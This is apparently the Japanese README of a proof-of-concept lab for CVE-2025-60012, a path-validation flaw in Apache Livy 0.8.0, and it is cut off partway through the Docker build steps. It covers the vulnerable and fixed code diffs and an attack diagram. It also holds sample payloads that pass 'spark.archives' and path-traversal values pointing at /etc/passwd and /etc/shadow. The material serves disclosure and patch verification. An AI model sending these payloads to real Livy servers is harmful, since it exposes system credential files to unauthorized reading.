
Apache Livy の未承認ファイルアクセス脆弱性の POC
教育およびセキュリティ研究目的にのみ使用してください。所有していないシステム、または明示的な書面による許可を得ていないシステムに対しては使用しないでください。 → 完全な免責事項
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-60012 |
| 深刻度 | 中 (CVSS 6.3) |
| 影響を受けるバージョン | Apache Livy 0.7.0-incubating、0.8.0-incubating — Apache Spark 3.1 以降に接続している場合 |
| 修正バージョン | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: 不適切な入力検証 |
| 公開日 | 2026-03-13 |
| 報告者 | Furue Hideyuki |
Livy の REST または JDBC インターフェースにアクセスできる認証済みユーザーは、細工された設定値を使用して Spark セッション またはバッチジョブを送信できます。2 つの弱点が組み合わさることで、攻撃者は許可されたパスの外にあるローカルファイルシステム上の ファイルを参照できます。
spark.archives に対する検証の欠如 — Spark 3.1 で spark.archives が導入され、
すべてのクラスタマネージャー間でアーカイブファイルを配布する統一された方法として提供されました。Livy 0.8.0 の
パス検証対象となるハードコードされた設定キーのリスト (HARDCODED_SPARK_FILE_LISTS) には
spark.archives が含まれていません。したがって、このキーを介して渡されたパスは、
ローカルファイルシステムのホワイトリスト (livy.file.local-dir-whitelist) に対してチェックされることがなく、
攻撃者は任意のローカルファイルを参照できます。
ホワイトリストチェックにおけるパストラバーサル回避 — 検証される設定キーであっても、
Livy 0.8.0 のホワイトリスト比較は、生のパスに対する単純な Java String startsWith
呼び出しを使用しています。攻撃者はパストラバーサルを使用してこれを回避できます:
/whitelisted/dir/../../etc/passwd は文字列チェックを通過しますが、許可されたディレクトリの外に
解決されます。
LivyConf.scala脆弱なバージョン (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
修正済みバージョン (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scala脆弱なバージョン (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
修正済みバージョン (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
両バージョンは、公式の Apache Livy GitHub リポジトリから以下の正確なコマンドを使用して このワークスペースに直接クローンされました:
リポジトリ: https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| バージョン | タグ | 解決済みコミット | ローカルパス |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## 正確なコード差分
差分は、両方のタグをローカルにクローンして(上記参照)、次のコマンドを実行することで生成されました:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives をハードコードされたファイルリストに追加```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**v0.8.0 のエントリ欠落の影響:**
ユーザーが `conf: {"spark.archives": "file:///etc/passwd"}` を含むセッションを送信すると、Livy
0.8.0 はその値に対して `resolveURIs()` を呼び出さず、`livy.file.local-dir-whitelist` との
照合も行いません。パスは検証されずに Spark に転送されます。
---
### 修正 2 — `Session.scala`: ホワイトリストチェック前のパス正規化```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
v0.8.0 での影響:
生の文字列の startsWith チェックは、パストラバーサルペイロードによってバイパスされる可能性があります。
例: livy.file.local-dir-whitelist = /opt/safe-data の場合```
/opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (バイパスされた)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (ブロックされた)
## 攻撃ベクトルの概要```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
このPoCのすべての手順は、以下のシステムで実行・検証されました。
| コンポーネント | 詳細 |
|---|---|
| ホストOS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| カーネル | 6.17.0-14-generic x86_64 |
| アーキテクチャ | x86_64 |
| 総メモリ | 15.49 GiB |
| Docker Engine | 28.2.2 |
| ホストJDK | OpenJDK 17.0.18(ホストのみで使用 — コンテナは eclipse-temurin:11-jdk-focal を使用) |
| コンテナベースイメージ | eclipse-temurin:11-jdk-focal(JDK 11、Ubuntu Focal) |
| Sparkバージョン(両イメージとも) | 3.1.3(Hadoop 3.2 を使用) |
| Livyバージョン — 脆弱なイメージ | 0.8.0-incubating(Scala 2.12 ビルド) |
| Livyバージョン — 修正済みイメージ | 0.9.0-incubating(Scala 2.12 ビルド) |
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## 概念実証
### 概要```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
完全なエンドツーエンドのシーケンス — 手順1から4まで順に従ってください:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **注記:** `docker run` の後、Livy が準備完了になるまで約15〜20秒かかります。
> 以下のすべてのステップには、API呼び出しの前に明示的な `sleep 20` が含まれています。
---
### ステップ1 — 脆弱な環境の構築と起動 (Livy 0.8.0 + Spark 3.1.3)
**ファイル:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — `0.0.0.0:8998` にバインド、ローカルモード、ホワイトリスト = `/opt/safe-data`
**1a. イメージをビルドする:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
検証 — イメージが作成されました:```bash docker images cve-2025-60012-vulnerable
期待される出力:```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>